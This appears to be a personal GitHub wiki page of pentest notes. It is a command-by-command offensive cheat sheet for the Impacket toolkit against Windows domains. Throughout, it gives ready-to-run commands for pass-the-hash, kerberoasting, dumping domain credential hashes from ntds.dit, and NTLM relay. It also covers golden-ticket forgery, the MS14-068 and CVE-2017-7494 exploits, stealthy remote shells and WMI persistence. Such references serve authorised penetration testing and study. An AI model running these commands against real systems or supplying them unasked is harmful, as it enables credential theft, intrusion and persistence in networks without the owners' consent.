Impacket - CraigDonkin/Infrastructure GitHub Wiki

Impacket

https://github.com/fortra/impacket

[TOC]

atexec

  • Executes a command on the target via Task Scheduler Service
  • Can pass the hash if don't have password
python3 atexec.py domain\user@host command

dcomexec

  • creates a semi-interactive shell
  • the victim will see cmd prompts or other programs pop up in their session
    • not the best to use as a result
  • can use put and get to upload and download files
  • Can add an optional command to the end which won't return interactive shell just execute command
python3 dcomexec.py domain\user@host {command}

dpapi

  • notes here

esentutl

  • Allows you to extract tables from an ntds.dit file

  • To extract the hash datatable using in a way to minimize space used, run:

    esentutl.py /path/to/ntds.dit export -table datatable | grep -E "ATTk590689|ATTm3|ATTm590045|ATTr589970|ATTk589914|ATTk589879|ATTk589984|ATTk589918" > output
    
  • impdump can be used to extract the hashes

  • https://github.com/HarmJ0y/ImpDump

GetADUsers

  • Enumerates the users on a domain

  • Need valid credentials

    python3 GetADUsers.py -all domain\User -dc-ip ip 
    

GetArch

  • Gets the target's architecture
python3 getArch.py -target ip

GetNPUsers

  • Queries target domain for user's that have the 'Do not require Kerberos preauthentication' set
  • Exports the TGTs for cracking
  • Can pass the hash as auth
  • Use -no-pass when query a single user othersiws a badpwdcount will be added to the user
#Get TGT for specific user
python3 GetNPUsers.py domain\user -no-pass
#Get list of users with UF_DONT_REQUIRE_PREAUTH set (needs a user password)
python3 GetNPUsers.py domain\user:password 
#Request TGTs for all users
python3 GetNPUsers.py domain\user:passwodd -request -outputfile out.txt -format hashcat

getPac

  • Returns the targetUser's PAC
  • Can use pass the hash
getPac.py -targetuser USER domain/username:password 

getST

  • Allows you to request a service ticket and save it as ccache
  • Can be used with pas the hash
python3 getST.py -hashes lm:nt -spn cifs/dc.fqdn domain/username
python3 getST.py -spn cifs/dc.fqdn domain\machin\share -impersonate username
  • Can only impersonate the user on the DC, then use the ticket
export KRB5CCNAME=ticket.ccache
secretsdump.py -k -no-pass dc.fqdn

getTGT

  • Requests a TGT and saves it as ccache
    • over pass the hash attack
  • Can be used with pass the hash
python3 getTGT.py -hashes lm:nt domain/username 
  • using aeskey

python3 getTGT.py -dc-ip <ip> -aesKey <aeskey> <domain>/<username>

  • Post exploitation
export KRB5CCNAME=user.ccache
klist
python3 secretsdump.py -k -no-pass -dc.fqdn
python3 psexec.py -dc-ip <ip> -target-ip <ip> -no-pass -k

GetUserSPN (kerberoast)

  • Performs SPN Listing
  • Requires valid domain credentials
  • Retrieves service account hashes in JTR format
  • Can use pass the hash or a kerberos ticket previously compromised
python3 GetUserSPNs.py -request -dc-ip ip domain/user
  • Then try and crack the tickets

goldenPac

  • MS14-068 exploit
  • Works against DC <= Windows 2008R2
  • Requires a valid domain account
  • Saves the golden ticket and returns a psexec session
python3 goldenPac.py -dc-ip ip domain/username:password@hostname

ifmap

  • Scans for listening DCERPC interfaces
  • Try's to bind to each interface and reports if the interface is listed and/or listening
python3 ifmap.py host ip

karmaSMB

  • Answers a file read request with a predefined file based on the extension asked
  • need to have a config file
bat = /tmp/batchfile
com = /tmp/comfile
exe = /tmp/exefule
  • SMB2
    • If 2 different file names are requested at the same share, the first one will work, the second only if the request is performed right away
  • Could be used to get authentication requests and then code execution
    • send users false logon.bat etc
  • Can be used as part of MS15-011 exploit

lookupsid

  • Can be used with pth
  • enumerates users and sids
python3 lookupsid.py -target-ip ip user:password 

mimikatz

mimikatz # rpc::server
  • From attacker laptop:
python3 mimikatz/py domain/user@ip
  • You then get a mimikatz shell from which you can execute mimi commands

mqtt_check

  • add notes here

msqlclient

  • can be used with PTH
  • Use -windows-auth for windows auth
  • interactive SQL client for mssql
python3 mssqlclient.py -p port domain/username:password@target 
  • Once the command prompt returns can execute SQL commands

  • SQL> SELECT name FROM master.dbo.sysdatabases

mssqlinstance

  • queries remote host for MSSQL instances
python3 mssqlinstance.py target

netview

  • retruns a list of sessions opened at the target hos
  • You have to be able to resolve the domain machiens netbios names
  • Can query the whole domain:
python3 netview.py -target ip domain/username 
  • Or just a single machine:
python3 netview.py -target ip username 

nmapAnswerMachine

  • Getting errors when running - come back to

ntfs-read

  • NTFS read only explorer
  • Example volumes
    • \\.\C
    • /dev/disk1
python3 ntfs-read.py -extract EXTRACT volume

ntlmrelayx

  • Relays NTLMv1/v2 hashes
  • Uses a lot of protocols
    • SMB
    • MSSQL
    • LDAP
    • HTTP
    • SMTP
  • SMB signing needs to be disabled on the machine you're relaying too
  • Use with other tools, for example
    • Responder to intercept authentication attempts
      • responder.py -I interface -r -d -w
    • CrackMapExec to generate a list of targets
      • cme smb iprange --gen-relay-list targets
python3 ntlmrelay.py -tf targets -c command 

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

opdump

  • binds to the hostname:port and DCERP interface
  • Calles each of the first 256 operation numbers
  • Reports outcome of the call
python3 opdump.py host port interface version

ping6

  • performs and ICMP6 ping
  • Uses ICMP echo and echo-reply packets
python3 ping6.py sourceIP destIP

ping

  • ICMP echo ping
  • If host is up get an echo-reploy packet
  • Didn't work with python3 when I tried it
python ping.py sourceIP destIP

psexec

  • Implementation pf psexec
  • Uses RemComSVc for the shell
  • Can be used with PTH
python3 psexec.py DOMAIN/USER@HOST command
  • Use cmd.exe to get a shell rather than execute a single command
  • Likely to get detected by AV

raiseChild

  • Not working come back to

rdp_check

  • Checks if an account is valid on the host using RDP
  • Can be used with PTH
python3 rdp_check.py DOMAIN/USER@host 

registry_read

  • parses offline registry hives
python3 registry_read.p	hive enum_values -name name

reg

  • Remote registry manipulation
  • Need to escape \ in the keyName
  • Works with PTH
python3 reg.py Domain/User@host query -keyName key -s

rpcdump

  • Dumps the remote RPC endpoint information
  • Works with PTH
python3 rpcdump.py ipaddress

sambaPipe

  • Exploits CVE-2017-7494
  • Uploads and executes a SO specified via SO paramater
python3 sambaPipe.py DOMAIN/USER@host -so /path/to/so

samrdump

  • downloads a list of users for the target system
  • works with PTH
  • Can export to a CSV
python samrdump.py DOMAIN/USER@Host

secretsdump

  • dumps secrets from the target
  • Can be used with PTH
  • Can parse offline
    • -system SYSTEM
    • -bootkey BOOTKEY
    • -security SECURITY
    • -sam SAM
    • -ntds NTDS
  • Can specify the exec method when using -use-vss
    • smbexec
    • wmiexec
    • mmcexec
  • Extract only a single user
    • -just-dc-user username
  • Extract only NTDS.DIT data
    • just-dc
    • just-dc-ntlm
python3 secretsdump.py DOMAIN/USER@Host
python3 secretsdump.py -ntds /path/to/offline/ntds.dit -system /path/to/system local

services

  • manipulate services on a host
    • start
    • stop
    • delete
    • status
    • config
    • list
    • create
    • change
  • Works with PTH
python3 services.py IEWIN7/[email protected] list

smbclient

  • Lets you list files on an SMB share
  • Upload and download files
  • Create directories
  • Works with PTH
python3 smbclient.py DOMAIN/USER@Host
  • Once connected list shares and connect

    • shares
    • use sharename
  • use ls/cd/pwd etc like with linux

  • use put/get to upload/download

    • File is saved to directory you launched script from

smbexec

  • Similar to psexec
  • Gives you semi interactive shell
  • Executes commands on the target
  • supports pth
  • You will likely be executing commands as SYSTEM
python3 smbexec.py DOMAIN/USER@IP

smbrelayx

python3 smbrelayx -h victimIP -c command to execute
  • Trick victim into performing an SMB action, such as click a UNC path provided via phishing/soc eng

  • Command will then be relayed to victim host

smbserver

  • Creates and SMB server
  • Need to be run as root
  • won't enforce auth without
    • -username USERNAME
    • -password PASSWORD
python3 smbserver.py shareName sharePath

sniffer

  • Packet sniffer
  • Needs root to open socket
  • need to specify the protocol
    • tcp
    • udp
    • icmp
sudo python3 sniffer.py tcp 

sniff

  • Sniffer
  • needs pcapy
    • apt-get install python-pcapy
  • Specify the interface you want to sniff on or use 'any'
  • Need to be root
sudo python sniff.py

split

  • Splits pcap dump files
sudo python split.py pcapfile

ticketer

  • Can be used to generate Kerberos golden/silver tickets
  • Then use it with psexec etc
python ticketer.py -nthash hash -domain-sid sid -domain domain username
export KRB5CCNAME='username.ccache'
python psexec.py -k -n DOMAIN/USERNAME@IP cmd

TicketConverter

  • If you have a ticket in kirbi format, you can convert it into ccache format for impacket.
  • Make sure the kirbi ticket is decoded from base64 encoding and saved in <username>.kirbi

echo -en <base64 ticket> | base64 -d > <user>.kirbi

python3 ticketConverter.py <user.kirbi> <user.ccache>

wmiexec

  • Creates a semi interactive shell using WMI
  • Can be used with PTH
  • Need Admin
  • Doesn't install anything on the host so stealthy
python3 wmiexec.py DOMAIN/Username@host
  • can use put src_file ds_path and ``get file`
  • To execute commands on the localhost run ! cmd

wmipersist

  • Persistence method
  • Creates a WMI event ontarget
  • works with PTH
python3 wmipersist.py DOMAIN/USER@HOST install -name name -vbs VBSfile -timer TIMER

wmiquery

  • Provides a shell for executing WMI Query
  • Works with PTH
python3 wmiquery.py DOMAIN/USER@Host
⚠️ **GitHub.com Fallback** ⚠️